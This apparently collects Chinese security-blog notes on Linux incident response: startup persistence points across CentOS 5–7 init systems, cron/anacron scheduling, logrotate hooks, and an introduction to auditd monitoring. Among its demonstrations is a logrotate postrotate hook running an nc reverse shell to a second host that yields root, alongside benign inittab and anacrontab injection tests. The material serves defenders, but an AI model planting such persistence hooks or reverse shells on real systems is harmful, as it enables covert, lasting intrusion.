因为mount -l 读取的是/etc/mtab,可以直接删除该条目。所以使用1)和2)更靠谱。

参考文章:
http://www.freebuf.com/articles/network/140535.html

在应急响应时,开机启动项是必查的项,下面梳理一下关于开机启动与服务相关需要排查的点。直接从init开始说。
RHEL5、RHEL6、RHEL7的init系统分别为SysV init、Upstart、Systemd

CentOS 5


启动流程如下:

1)加载BIOS的硬件信息与进行自我测试,并依据设置取得第一个可启动设备;

2)读取并执行第一个启动设备内MBR(主引导分区)的Boot Loader(即是gurb等程序);

3)依据Boot Loader的设置加载Kernel,Kernel会开始检测硬件与加载驱动程序;

4)在硬件驱动成功后,Kernel会主动调用init进程(/sbin/init),init的配置文件/etc/inittab;

5)init执行/etc/rc.d/rc.sysinit文件来准备软件的操作环境(如网络、时区等);

6)init执行runlevel的各个服务的启动(script方式);

7)init执行/etc/rc.d/rc.local文件;

8)init执行终端机模拟程序mingetty来启动login程序,最后等待用户登录。

init程序会读取init的配置文件/etc/inittab,并依据此文件来进行初始化工作。/etc/inittab文件主要作用是指定运行级别,执行系统初始化脚本(/etc/rc.d/rc.sysinit),启动相应运行级别下的服务和启动终端。

[root@jianshe_28 admin]# cat /etc/inittab
#
# inittab This file describes how the INIT process should set up
# the system in a certain run-level.
#
# Author: Miquel van Smoorenburg, <miquels@drinkel.nl.mugnet.org>
# Modified for RHS Linux by Marc Ewing and Donnie Barnes
#

# Default runlevel. The runlevels used by RHS are:
# 0 - halt (Do NOT set initdefault to this)
# 1 - Single user mode
# 2 - Multiuser, without NFS (The same as 3, if you do not have networking)
# 3 - Full multiuser mode
# 4 - unused
# 5 - X11
# 6 - reboot (Do NOT set initdefault to this)
# 
id:3:initdefault:

# System initialization.
si::sysinit:/etc/rc.d/rc.sysinit

l0:0:wait:/etc/rc.d/rc 0
l1:1:wait:/etc/rc.d/rc 1
l2:2:wait:/etc/rc.d/rc 2
l3:3:wait:/etc/rc.d/rc 3
l4:4:wait:/etc/rc.d/rc 4
l5:5:wait:/etc/rc.d/rc 5
l6:6:wait:/etc/rc.d/rc 6

# Trap CTRL-ALT-DELETE
ca::ctrlaltdel:/sbin/shutdown -t3 -r now

# When our UPS tells us power has failed, assume we have a few minutes
# of power left. Schedule a shutdown for 2 minutes from now.
# This does, of course, assume you have powerd installed and your
# UPS connected and working correctly. 
pf::powerfail:/sbin/shutdown -f -h +2 "Power Failure; System Shutting Down"

# If power was restored before the shutdown kicked in, cancel it.
pr:12345:powerokwait:/sbin/shutdown -c "Power Restored; Shutdown Cancelled"



# Run gettys in standard runlevels
1:2345:respawn:/sbin/mingetty tty1
2:2345:respawn:/sbin/mingetty tty2
3:2345:respawn:/sbin/mingetty tty3
4:2345:respawn:/sbin/mingetty tty4
5:2345:respawn:/sbin/mingetty tty5
6:2345:respawn:/sbin/mingetty tty6

# Run xdm in runlevel 5
x:5:respawn:/etc/X11/prefdm -nodaemon

inittab文件中的值都是如下格式:
id:runlevel:action:process

id:
id是指入口标识符,他是个字符串,对于getty、mingetty等,需求id和tty的编号相同,否则getty将不能正常工作。

runlevel:
指定runlevel的级别。能指定多个runlevel级别,也能不为runlevel字段指定特定的值。
运行级别决定了系统启动的绝大部分行为和目的。这个级别从0到6,具有不同的功能。不同的运行级定义如下:

# 0 - 停机(千万别把initdefault设置为0,否则系统永远无法启动)
# 1 - 单用户模式
# 2 - 多用户,没有 NFS
# 3 - 完全多用户模式(标准的运行级)
# 4 - 系统保留的
# 5 - X11 (x window)
# 6 - 重新启动

action:

定义了该进程应该运行在何种状态下,其中action常用的种类有:

wait:切换至某级别运行一次process

respawn:此process终止的话,就重新启动之 initdefault:设置默认运行级别的,process省略

sysinit:设定系统初始化方式,此处一般指定为:/etc/rc.d/rc.sysinit

process:包含init执行的进程

下面看一下具体的配置

id:3:initdefault:

设置runlevel

si::sysinit:/etc/rc.d/rc.sysinit

执行了/etc/rc.d/rc.sysinit,一个shell脚本,他主要是完成一些系统初始化的工作,例如激活交换分区,检查磁盘,加载硬件模块及其他一些需要优先执行任务。

l0:0:wait:/etc/rc.d/rc 0
l1:1:wait:/etc/rc.d/rc 1
l2:2:wait:/etc/rc.d/rc 2
l3:3:wait:/etc/rc.d/rc 3
l4:4:wait:/etc/rc.d/rc 4
l5:5:wait:/etc/rc.d/rc 5
l6:6:wait:/etc/rc.d/rc 6
/etc/rc.d/rc是个shell脚本,接受runlevel参数,去执行该runlevel目录下的所有的rc启动脚本。以启动级别为3为例,/etc/rc.d/rc3.d/其实都是一些链接文件,真正的rc启动脚本实际上都是放在/etc/rc.d/init.d/目录下。而这些rc启动脚本有着类似的用法,他们一般能接受start、stop、restart、status等参数。

[root@localhost init.d]# ll /etc/rc.d/rc3.d/
lrwxrwxrwx. 1 root root 16 Jul 13 15:04 K01smartd -> ../init.d/smartd
lrwxrwxrwx. 1 root root 16 Jul 13 15:05 S11auditd -> ../init.d/auditd
.....

凡是以Kxx开头的,都以stop为参数来调用;凡是以Sxx开头的,都以start为参数来调用。xx是数字、表示的是启动顺序,按xx从小到大来执行。
我们来用chkconfig修改一下试试

[root@localhost rc3.d]# ll | grep audit
lrwxrwxrwx. 1 root root 16 Jul 13 15:05 S11auditd -> ../init.d/auditd
[root@localhost rc3.d]# chkconfig auditd off --level 3
[root@localhost rc3.d]# ll | grep audit
lrwxrwxrwx 1 root root 16 Jul 20 14:00 K88auditd -> ../init.d/auditd

另外说明一下应急响应中我们都会检查/etc/rc.local,其实也是在rcN.d中。
/etc/rc.local是软链到了/etc/rc.d/rc.local

[root@localhost init.d]# ll /etc/rc.local
lrwxrwxrwx. 1 root root 13 Jul 13 15:03 /etc/rc.local -> rc.d/rc.local

Redhat中的运行模式2、3、5都把/etc/rc.d/rc.local做为初始化脚本中的最后一个

[root@localhost rc3.d]# ll /etc/rc.d/rc3.d/S99local 
lrwxrwxrwx. 1 root root 11 Jul 13 15:03 /etc/rc.d/rc3.d/S99local -> ../rc.local

1:2345:respawn:/sbin/mingetty tty1
2:2345:respawn:/sbin/mingetty tty2
3:2345:respawn:/sbin/mingetty tty3
4:2345:respawn:/sbin/mingetty tty4
5:2345:respawn:/sbin/mingetty tty5
6:2345:respawn:/sbin/mingetty tty6
init接下来会打开6个终端,以便用户登录系统。

总结一下,针对CentOS5系统,需要排查的点:
1)/etc/inittab
该文件是可以运行process的,这里我们添加一行
0:235:once:/bin/vinc
内容如下

[root@localhost ~]# cat /bin/vinc 
#!/bin/bash
cat /etc/issue > /tmp/version

重启

[root@localhost ~]# cat /tmp/version 
CentOS release 5.5 (Final)
Kernel \r on an \m

2)/etc/rc.d/rc.sysinit
在最后插入一行/bin/vinc

[root@localhost ~]# ll /tmp/version 
-rw-r--r-- 1 root root 47 11-05 10:10 /tmp/version

3)/etc/rc.d/init.d
4)/etc/rc.d/rc.local

 

CentOS 6


启动流程如下:

init会读取配置文件/etc/inittab 和 /etc/init/*.conf。先看一下/etc/inittab

[root@server120 src]# cat /etc/inittab
# inittab is only used by upstart for the default runlevel.
#
# ADDING OTHER CONFIGURATION HERE WILL HAVE NO EFFECT ON YOUR SYSTEM.
#
# System initialization is started by /etc/init/rcS.conf
#
# Individual runlevels are started by /etc/init/rc.conf
#
# Ctrl-Alt-Delete is handled by /etc/init/control-alt-delete.conf
#
# Terminal gettys are handled by /etc/init/tty.conf and /etc/init/serial.conf,
# with configuration in /etc/sysconfig/init.
#
# For information on how to write upstart event handlers, or how
# upstart works, see init(5), init(8), and initctl(8).
#
# Default runlevel. The runlevels used are:
# 0 - halt (Do NOT set initdefault to this)
# 1 - Single user mode
# 2 - Multiuser, without NFS (The same as 3, if you do not have networking)
# 3 - Full multiuser mode
# 4 - unused
# 5 - X11
# 6 - reboot (Do NOT set initdefault to this)
# 
id:3:initdefault:

通过注释可以看到,upstart只使用inittab读取默认的runlevel。添加其他的配置都不会生效,其他的配置都移动到了/etc/init/*.conf下。
系统初始化/etc/init/rcS.conf
对应runlevel的服务启动/etc/init/rc.conf
终端配置/etc/init/tty.conf
….

总结一下,针对CentOS6系统,需要排查的点:
1)/etc/init/*.conf
vim tty.conf,添加一行
exec /bin/vinc
内容如下

[root@vincenthostname init]# cat /bin/vinc 
#!/bin/bash

touch /tmp/vinc

重启

[root@vincenthostname ~]# ll /tmp/vinc
-rw-r--r-- 1 root root 0 6月 22 15:07 /tmp/vinc

2)/etc/rc.d/rc.sysinit
3)/etc/rc.d/init.d
4)/etc/rc.d/rc.local

 

0x03 CentOS7


开机启动流程如下:

1)UEFi或BIOS初始化,运行POST开机自检

2)选择启动设备

3)引导装载程序, centos7是grub2

4)加载装载程序的配置文件: /etc/grub.d/   /etc/default/grub    /boot/grub2/grub.cfg

5)加载initramfs驱动模块

6)加载内核选项

7)内核初始化, centos7使用systemd代替init

8)执行initrd.target所有单元,包括挂载/etc/fstab

9)从initramfs根文件系统切换到磁盘根目录

10)systemd执行默认target配置,配置文件/etc/systemd/system/default.target

11)systemd执行sysinit.target初始化系统及basic.target准备操作系统

12)systemd启动multi-user.target下的本机与服务器服务

13)systemd执行multi-user.target下的/etc/rc.d/rc.local

14)systemd执行multi-user.target下的getty.target及登入服务

15)systemd执行graphical需要的服务

CentOS7使用的是systemd,相较于以前的init有很大的不同。

/etc/inittab是空的

[root@localhost init.d]# cat /etc/inittab | grep -v "^$" | grep -v "^#"

[root@localhost init.d]#

也没有/etc/init目录

[root@localhost init.d]# ls -al /etc/init

ls: cannot access /etc/init: No such file or directory

/etc/rc3.d/和/etc/rc.d/init.d/还存在,所以向后兼容sysv init脚本,在centos5、6系统上/etc/init.d/目录下的服务脚本,systemd也能够对其进行管理

[root@localhost init.d]# ls -al /etc/rc3.d/

total 4

drwxr-xr-x.  2 root root   81 May 30 14:09 .

drwxr-xr-x. 10 root root 4096 May 30 14:31 ..

lrwxrwxrwx.  1 root root   20 Nov  7  2016 K50netconsole -> ../init.d/netconsole

lrwxrwxrwx.  1 root root   17 Nov  7  2016 S10network -> ../init.d/network

lrwxrwxrwx.  1 root root   23 Jan 17  2017 S90zabbix_agentd -> ../init.d/zabbix_agentd

lrwxrwxrwx.  1 root root   15 May 30 14:09 S99ossec -> ../init.d/ossec

systemd提供更优秀的框架以表示系统服务间的依赖关系,尽可能启动更少进程,尽可能将更多进程并行启动,尽可能减少对shell脚本的依赖。systemd的核心概念是unit,unit表示不同类型的systemd对象,通过配置文件进行标识和配置,文件中主要包含了系统服务,监听socket,保存的系统快照以及其他与init相关的信息。

查看所有的unit类型:

[root@localhost system]# systemctl -t help       

Available unit types:

service

socket

busname

target

snapshot

device

mount

automount

swap

timer

path

slice

scope

用途如下:

Service unit:文件扩展名.service 用于定义系统服务
Target unit:文件扩展名.target 用于模拟实现运行级别
Device unit: .device 用于定义内核识别的设备
Mount unit: .mount 定义文件系统的挂载点
Socket unit: .socket 用于标识进程间通行用的socket文件,也可在系统启动时,延迟启动服务,实现按需启动
Snapshot unit: .snapshot 管理系统快照
Swap unit: .swap 用于标识swap设备
Automount unit: .automount 文件系统的自动挂载点
Path unit: .path 用于定义文件系统中的一个文件或目录使用,常用于当文件系统变化时,延迟激活服务,如spool目录

配置文件中主要保存在:

/usr/lib/systemd/system/    每个服务最主要的启动脚本设置,类似于之前的/etc/init.d/ 

/run/systemd/system/    系统执行过程中所产生的服务脚本,比上面目录优先运行

/etc/systemd/system/    管理员建立的执行脚本,类似于/etc/rc.d/rcN.d/Sxx类的功能,比上面目录优先运行
[root@localhost system]# ls /usr/lib/systemd/system/

abrt-ccpp.service                       psacct.service

abrtd.service                           quotaon.service

abrt-oops.service                       rc-local.service

...

[root@localhost system]# ls /run/systemd/system/

session-1006.scope      session-161401.scope    session-24243.scope    session-54837.scope

session-1160.scope      session-162551.scope    session-24243.scope.d  session-54837.scope.d

...

[root@localhost system]# ls /etc/systemd/system/

basic.target.wants                           default.target           sockets.target.wants

dbus-org.fedoraproject.FirewallD1.service    default.target.wants     sysinit.target.wants

dbus-org.freedesktop.NetworkManager.service  getty.target.wants       system-update.target.wants

dbus-org.freedesktop.nm-dispatcher.service   multi-user.target.wants

我们来看下sshd.service

[root@localhost system]# cat sshd.service | grep -v "^$" | grep -v "^#"

[Unit]

Description=OpenSSH server daemon

Documentation=man:sshd(8) man:sshd_config(5)

After=network.target sshd-keygen.service

Wants=sshd-keygen.service

[Service]

EnvironmentFile=/etc/sysconfig/sshd

ExecStart=/usr/sbin/sshd -D $OPTIONS

ExecReload=/bin/kill -HUP $MAINPID

KillMode=process

Restart=on-failure

RestartSec=42s

[Install]

WantedBy=multi-user.target

文件包含三部分。

[Unit]:描述信息与依赖关系

[Service]:ExecStartPre 定义启动服务之前应该运行的命令;ExecStart 定义启动服务的具体命令行语法。

[Install]:WangtedBy 表明这个服务是在多用户模式下所需要的。

我们再来看下multi-user.target

[root@localhost system]# cat multi-user.target | grep -v "^$" | grep -v "^#"

[Unit]

Description=Multi-User System

Documentation=man:systemd.special(7)

Requires=basic.target

Conflicts=rescue.service rescue.target

After=basic.target rescue.service rescue.target

AllowIsolate=yes

Requires表明 multi-user.target 启动的时候 basic.target 也必须被启动,basic.target 停止的时候,multi-user.target 也必须停止。接着查看 basic.target 文件,会发现它又指定了 sysinit.target 等其他的单元必须随之启动。同样 sysinit.target 也会包含其他的单元。采用这样的层层链接的结构,最终所有需要支持多用户模式的组件服务都会被初始化启动好。

此外在/etc/systemd/system 目录下还可以看到诸如*.wants 的目录

[root@localhost system]# ls multi-user.target.wants/   

brandbot.path  plymouth-quit.service           systemd-logind.service

dbus.service   plymouth-quit-wait.service      systemd-update-utmp-runlevel.service

getty.target   systemd-ask-password-wall.path  systemd-user-sessions.service

放在该目录下的配置单元文件等同于在[Unit]小节中的 wants 关键字,即本单元启动时,还需要启动这些单元。

查看multi-user.target的依赖关系

[root@localhost system]# systemctl list-dependencies multi-user.target     

multi-user.target

├─abrt-ccpp.service
├─abrt-oops.service
├─abrt-vmcore.service
├─abrt-xorg.service
├─abrtd.service
├─atd.service
├─auditd.service

查看systemd管理的所有单元

[root@localhost system]# systemctl list-unit-files

UNIT FILE                                   STATE  

proc-sys-fs-binfmt_misc.automount           static 

dev-hugepages.mount                         static 

dev-mqueue.mount                            static

查看服务状态

[root@localhost system]# systemctl list-unit-files --type service     

UNIT FILE                                   STATE  

abrt-ccpp.service                           enabled

abrt-oops.service                           enabled

State的状态如下:

loaded:Unit配置文件已处理

active(running):一次或多次持续处理的运行

active(exited):成功完成一次性的配置

active(waiting):运行中,等待一个事件

inactive:不运行

enabled:开机启动

disabled:开机不启动

static:开机不启动,但可被另一个启用的服务激活

使用 systemctl 控制单元时,通常需要使用单元文件的全名,包括扩展名(例如 sshd.service),如果无扩展名,systemctl 默认把扩展名当作 .service。

启动httpd服务

[root@localhost system]# systemctl start httpd

停止httpd服务

[root@localhost system]# systemctl stop httpd

查看httpd服务运行状态

[root@localhost system]# systemctl status httpd

 

在centOS7上由.target来代替运行级别。

查看我们的机器上有多少个target

[root@localhost system]# ls /usr/lib/systemd/system/*.target | head -n 5

/usr/lib/systemd/system/basic.target

/usr/lib/systemd/system/bluetooth.target

/usr/lib/systemd/system/cryptsetup-pre.target

/usr/lib/systemd/system/cryptsetup.target

/usr/lib/systemd/system/ctrl-alt-del.target

运行级别与target的对照如下:

runlevel0.target -> poweroff.target

runlevel1.target -> rescue.target

runlevel2.target -> multi-user.target

runlevel3.target -> multi-user.target

runlevel4.target -> multi-user.target

runlevel5.target -> graphical.target

runlevel6.target -> reboot.target

运行级别切换

在centOS6上,我们切换级别使用init,在centOS7上来切换用:

systemctl isolate poweroff.target

要想切换运行级别,AllowIsolate=yes才可以。

[root@localhost system]# cat poweroff.target | grep Allow

AllowIsolate=yes

修改文件需执行systemctl daemon-reload才能生效。

 

查看默认运行级别

[root@localhost system]# systemctl get-default

multi-user.target

修改默认运行级别

[root@localhost system]# systemctl set-default graphical.target

Removed symlink /etc/systemd/system/default.target.

Created symlink from /etc/systemd/system/default.target to /usr/lib/systemd/system/graphical.target.

查看开机启动程序(相当于chkconfig –list)

ls /etc/systemd/system/multi-user.target.wants/

开机启动(相当于chkconfig httpd on)

[root@localhost system]# systemctl enable httpd.service 

Created symlink from /etc/systemd/system/multi-user.target.wants/httpd.service to /usr/lib/systemd/system/httpd.service.

去除开机启动(相当于chkconfig httpd off)

[root@localhost system]# systemctl disable httpd.service                                

Removed symlink /etc/systemd/system/multi-user.target.wants/httpd.service.

查看服务是否开机启动(相当于chkconfig –list httpd)

[root@localhost system]# systemctl is-enabled httpd.service

enabled

CentOS7下rc.local文件默认不会在开机执行,我们来看一下rc.local文件的内容

[root@localhost system]# cat /etc/rc.local

#!/bin/bash

# THIS FILE IS ADDED FOR COMPATIBILITY PURPOSES

#

# It is highly advisable to create own systemd services or udev rules

# to run scripts during boot instead of using this file.

#

# In contrast to previous versions due to parallel execution during boot

# this script will NOT be run after all other services.

#

# Please note that you must run 'chmod +x /etc/rc.d/rc.local' to ensure

# that this script will be executed during boot.

可以看到一段注释,翻译如下:

#这个文件是为了兼容性的问题而添加的。

#强烈建议创建自己的systemd服务或udev规则来在开机时运行脚本而不是使用这个文件。

#与以前的版本引导时的并行执行相比较,这个脚本将不会在其他所有的服务后执行。

#请记住,你必须执行“chmod +x /etc/rc.d/rc.local”来确保确保这个脚本在引导时执行。

然后我们看/usr/lib/systemd/system/rc-local.service

[root@localhost system]# cat /usr/lib/systemd/system/rc-local.service | grep ExecStart

ExecStart=/etc/rc.d/rc.local start

那我们启动下rc-local.service

[root@localhost system]# chmod u+x /etc/rc.d/rc.local

[root@localhost system]# systemctl start rc-local

总结一下,针对CentOS7系统,需要排查的点:

1)排查修改的service

find /usr/lib/systemd/system/ -name "*.service" | xargs ls -alt | head -n 5
find /etc/systemd/system/ -name "*.service" | xargs ls -alt | head -n 5

2)/etc/rc.d/init.d

3)/etc/rc.d/rc.local

不过需要看/etc/rc.d/rc.local是否有x权限。

在应急响应中,最重要的一个点就是定时任务,例如Redis未授权通过持久化配置写入Crontab中。下面梳理一下定时任务相关的知识点:
一般常用的定时任务crontab -l是用户级别的,保存在/var/spool/cron/{user},每个用户都可以通过crontab -e编辑自己的定时任务列表。
而/etc/crontab是系统级别的定时任务,只有Root账户可以修改。
另外在应急的时候需要留意的点还有/etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly,/etc/cron.monthly等周期性执行脚本的目录。例如我想每天执行一个脚本,只需要放到/etc/cron.daily下,并且赋予执行权限即可。
那这些目录下的任务是怎么调用的?这里CentOS5和CentOS6还是有区别的。

CentOS5中:

[root@jianshe_28 /]# cat /etc/issue
CentOS release 5.8 (Final)
Kernel \r on an \m

[root@jianshe_28 /]# cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/

# run-parts
01 * * * * root run-parts /etc/cron.hourly
02 4 * * * root run-parts /etc/cron.daily
22 4 * * 0 root run-parts /etc/cron.weekly
42 4 1 * * root run-parts /etc/cron.monthly

run-parts命令位于/usr/bin/run-parts,内容是很简单的一个shell脚本,就是遍历目标文件夹,执行第一层目录下的可执行权限的文件。
所以在CentOS5下是实际是通过/etc/crontab来运行/etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly,/etc/cron.monthly下面的脚本的。
这里我们注意到在/etc/cron.daily, /etc/cron.weekly,/etc/cron.monthly下都有一个脚本0anacron

[root@jianshe_28 cron.daily]# cat /etc/cron.daily/0anacron | grep -v '^#' | grep -v '^$'
if [ ! -e /var/run/anacron.pid ]; then
    anacron -u cron.daily
fi
[root@jianshe_28 cron.daily]# cat /etc/cron.weekly/0anacron | grep -v '^#' | grep -v '^$'
if [ ! -e /var/run/anacron.pid ]; then
    anacron -u cron.weekly
fi
[root@jianshe_28 cron.daily]# cat /etc/cron.monthly/0anacron | grep -v '^#' | grep -v '^$'
if [ ! -e /var/run/anacron.pid ]; then
    anacron -u cron.monthly
fi

这里就需要介绍一些/usr/sbin/anacron,anacron是干什么的?
anacron主要在处理非 24 小时一直启动的 Linux 系统的 crontab 的运行。所以 anacron 并不能指定何时运行某项任务, 而是以天为单位或者是在启动后立刻进行 anacron 的动作,他会去检查停机期间应该进行但是并没有进行的 crontab 任务,并将该任务运行一遍后,anacron 就会自动停止了。
anacron的配置文件是/etc/anacrontab

[root@jianshe_28 cron.daily]# cat /etc/anacrontab 
# /etc/anacrontab: configuration file for anacron

# See anacron(8) and anacrontab(5) for details.

SHELL=/bin/sh
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root

1	65	cron.daily		run-parts /etc/cron.daily
7	70	cron.weekly		run-parts /etc/cron.weekly
30	75	cron.monthly		run-parts /etc/cron.monthly

具体含义如下:
period delay job-identifier command
<轮回天数> <轮回内的重试时间> <任务描述> <命令>
7 70 cron.weekly run-parts /etc/cron.weekly

第一部分是轮回天数,即是指任务在多少天内执行一次,monthly 就是一个月(30天)内执行,weekly 即是在一周之内执行一次。

第二部分 delay 是指轮回内的重试时间,这个意思有两部分,一个是 anacron 启动以后该服务 ready 暂不运行的时间(周任务的 70 delay 在 anacron 启动后70分钟内不执行,而处于 ready 状态),另一个是指如果该任务到达运行时间后却因为某种原因没有执行(比如前一个服务还没有运行完成,anacron 在 /etc/init.d 的脚本中加了一个 -s 参数,便是指在前一个任务没有完成时不执行下一个任务),依然以周任务和月任务为例,周任务在启动 anacron 后的 70 分钟执行,月任务在服务启动后 75 分钟执行,但是,如果月任务到达服务启动后 75 分钟,可是周任务运行超过5分钟依然没有完成,那月任务将会进入下一个 75 分钟的轮回,在下一个 75 分钟时再检查周任务是否完成,如果前一个任务完成了那月任务开始运行。

第三部分 job-identifier ,anacron 每次启动时都会在 /var/spool/anacron 里面建立一个以 job-identifier 为文件名的文件,里面记录着任务完成的时间,如果任务是第一次运行的话那这个文件应该是空的。anacron运行时,会去检查“/var/spool/anacron/这部分”文件中的内容,内容为一个日期,如下:

[root@localhost /]# cat /var/spool/anacron/cron.
cron.daily    cron.monthly  cron.weekly   
[root@localhost /]# cat /var/spool/anacron/cron.*
20170719
20170713
20170713

根据这个日期判断下面的第四部分要不要执行。 比如说这里写的是cron.daily,然后/var/spool/anacron/cron.daily文件中记录的日期为昨天的话,那anancron执行后就行执行这一行对应第四行的动作。

第四部分最为简单,仅仅是你想运行的命令

/usr/sbin/anacron常用参数:
-s :开始连续的运行各项工作 (job),会依据时间记录档的数据判断是否进行;
-f :强制进行,而不去判断时间记录档的时间戳记;
-n :立刻进行未进行的任务,而不延迟 (delay) 等待时间;
-u :仅升级时间记录档的时间戳记,不进行任何工作。

所以在CentOS5中已经通过/etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly,/etc/cron.monthly已经通过/etc/crontab配置执行了,所以这里只是通过anacron -u来记录了执行的时间。

 

CentOS6中:

[root@localhost /]# cat /etc/issue
CentOS release 6.5 (Final)
Kernel \r on an \m

[root@localhost /]# cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/

# For details see man 4 crontabs

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed

可以看到默认的/etc/crontab为空了。那么/etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly, /etc/cron.monthly下面的任务是怎么执行的?
我们再仔细看一下,注意到CentOS5下的/etc/cron.d目录为空。

[root@jianshe_28 cron.daily]# ll /etc/cron.d
total 0

而CentOS6下有一个0hourly

[root@localhost /]# ll /etc/cron.d
total 12
-rw-r--r--  1 root root 113 Jul 18 19:36 0hourly

看一下执行的任务

[root@localhost /]# cat /etc/cron.d/0hourly 
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/
01 * * * * root run-parts /etc/cron.hourly

然后看一下/etc/cron.hourly所执行的脚本

[root@localhost /]# ll /etc/cron.hourly
total 4
-rwxr-xr-x 1 root root 409 Jul 18 14:20 0anacron
[root@localhost /]# cat /etc/cron.hourly/0anacron 
#!/bin/bash
# Skip excecution unless the date has changed from the previous run 
if test -r /var/spool/anacron/cron.daily; then
    day=`cat /var/spool/anacron/cron.daily`
fi
if [ `date +%Y%m%d` = "$day" ]; then
    exit 0;
fi

# Skip excecution unless AC powered
if test -x /usr/bin/on_ac_power; then
    /usr/bin/on_ac_power &> /dev/null
    if test $? -eq 1; then
    exit 0
    fi
fi
/usr/sbin/anacron -s

然后看一下/etc/anacrontab的内容

[root@localhost /]# cat /etc/anacrontab 
# /etc/anacrontab: configuration file for anacron

# See anacron(8) and anacrontab(5) for details.

SHELL=/bin/sh
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
# the maximal random delay added to the base delay of the jobs
RANDOM_DELAY=45
# the jobs will be started during the following hours only
START_HOURS_RANGE=3-22

#period in days   delay in minutes   job-identifier   command
1	5	cron.daily		nice run-parts /etc/cron.daily
7	25	cron.weekly		nice run-parts /etc/cron.weekly
@monthly 45	cron.monthly		nice run-parts /etc/cron.monthly

这里多了两条配置
RANDOM_DELAY=45
表示定时触发后随机延迟45分钟以内的时间再启动应用
START_HOURS_RANGE=3-22
表示程序在3时至22时之间会启动

看到这里我们就明白了在CeontOS6 里面,crond会检查/etc/cron.d里面的配置,里面有一个0hourly文件,每小时去运行一次/etc/cron.hourly目录,该目录下面有一个0anacron文件,这样0anacron文件就能每小时运行一次,这里其实执行的是/usr/sbin/anacron -s。anacron读取配置文件/etc/anacrontab,将当前时间与/var/spool/anacron目录下面的文件里面的时间戳作对比,如果需要则去运行/etc/anacrontab对应的条目。

总结:
应急响应中关于定时任务应该排查的/etc/crontab,/etc/cron.d,/var/spool/cron/{user},然后顺藤摸瓜去看其他调用的目录/etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly, /etc/cron.monthly,/etc/anacrontab
其中容易忽视的就是/etc/anacrontab
在CentOS6下我们做个测试:
编辑/etc/anacrontab
修改RANDOM_DELAY=1
添加1 1 cron.test echo 1 >> /tmp/1.txt

[root@localhost cron.weekly]# /usr/sbin/anacron -s

等待一分多钟后,可以看到

[root@localhost cron.weekly]# cat /var/spool/anacron/cron.test 
20170719
[root@localhost cron.weekly]# cat /tmp/1.txt 
1

 

另外还需要注意Logrotate配置

在CentOS6中/etc/cron.daily/logrotate每小时执行一次。

[root@server120 logrotate.d]# cat /etc/cron.daily/logrotate 
#!/bin/sh

/usr/sbin/logrotate /etc/logrotate.conf >/dev/null 2>&1
EXITVALUE=$?
if [ $EXITVALUE != 0 ]; then
    /usr/bin/logger -t logrotate "ALERT exited abnormally with [$EXITVALUE]"
fi
exit 0

配置文件为/etc/logrotate.conf。

logrotate可以执行命令,例如来看一下:

[root@server120 logrotate.d]# cat /etc/logrotate.d/httpd 
/var/log/httpd/*log {
    missingok
    notifempty
    sharedscripts
    delaycompress
    postrotate
        /sbin/service httpd reload > /dev/null 2>/dev/null || true
    endscript
}

其中postrotate表示日志轮询之后,这里是自动重启Httpd服务。
另外还有prerotate表示在日志轮询之前。

比如/etc/logrotate.d下新建一个test

[root@server120 logrotate.d]# cat /etc/logrotate.d/test 
/tmp/base3306.log {
    daily
    missingok
    size = 5
    notifempty
    sharedscripts
    delaycompress
    postrotate
    nc 192.168.192.144 2345 -e /bin/bash
    endscript
}

然后我们手工执行一下

/usr/sbin/logrotate /etc/logrotate.conf

192.168.192.144:

[root@server144 ~]# nc -vv -l -p 2345
Listening on any address 2345 (dbm)
Connection from 192.168.192.120:54178
whoami
root

 

0x01 概述


企业安全建设中非常重要的一项工作就是入侵感知体系建设,不同于网络层的安全防护检测如WAF、IPS、IDS等,入侵感知体系更偏向于被入侵后的异常行为发现,即你的机器已经被黑掉的,你能否第一时间发现并且定位到哪里出了问题。Web中间件的系统命令调用监控是我认为入侵感知中性价比较高的一项监控措施,当然你也可以算作HIDS的一项功能。

举个例子,记得S2-045爆出来的时候,公司的不少站点都受到了影响,即便当时安全、运维和开发的响应速度够快,排查受影响的项目替换Jar包,但是还是有部分机器受到了影响,通过这项监控我可以清楚的定位到哪些机器已经被黑了,攻击者执行了什么,心里有底,不至于盲目的去查找。

我目前在用的是通过Linux系统自带的Auditd服务来监控的系统的EXECVE调用,联动OSSEC报警。另外使用开源工具Snoopy可以,我们之前也提到过Bash命令审计,也见到过有的公司运维就是直接用的Snoopy来做的审计,不过我看了下老外的评论有说到可能会影响到系统的稳定性,暂时没有在生产环境测试。

下面我们就详细说一下Auditd和Snoopy这两项监控方式。

 

0x02 Auditd


auditd服务是Linux自带的审计系统,用来记录审计信息,从安全的角度可以用于对系统安全事件的监控。

auditd服务的配置文件位于/etc/audit/audit.rules,其中每个规则和观察器必须单独在一行中。语法如下:

-a <list>,<action> <options>

<list>配置如下:

task

每个任务的列表。只有当创建任务时才使用。只有在创建时就已知的字段(比如UID)才可以用在这个列表中。

entry

系统调用条目列表。当进入系统调用确定是否应创建审计时使用。

exit

系统调用退出列表。当退出系统调用以确定是否应创建审计时使用。

user

用户消息过滤器列表。内核在将用户空间事件传递给审计守护进程之前使用这个列表过滤用户空间事件。有效的字段只有uid、auid、gid和pid。

exclude

事件类型排除过滤器列表。用于过滤管理员不想看到的事件。用msgtype字段指定您不想记录到日志中的消息。

<action>配置如下:

never

不生成审计记录。

always

分配审计上下文,总是把它填充在系统调用条目中,总是在系统调用退出时写一个审计记录。如果程序使用了这个系统调用,则开始一个审计记录。

<options>配置如下:

-S <syscall>

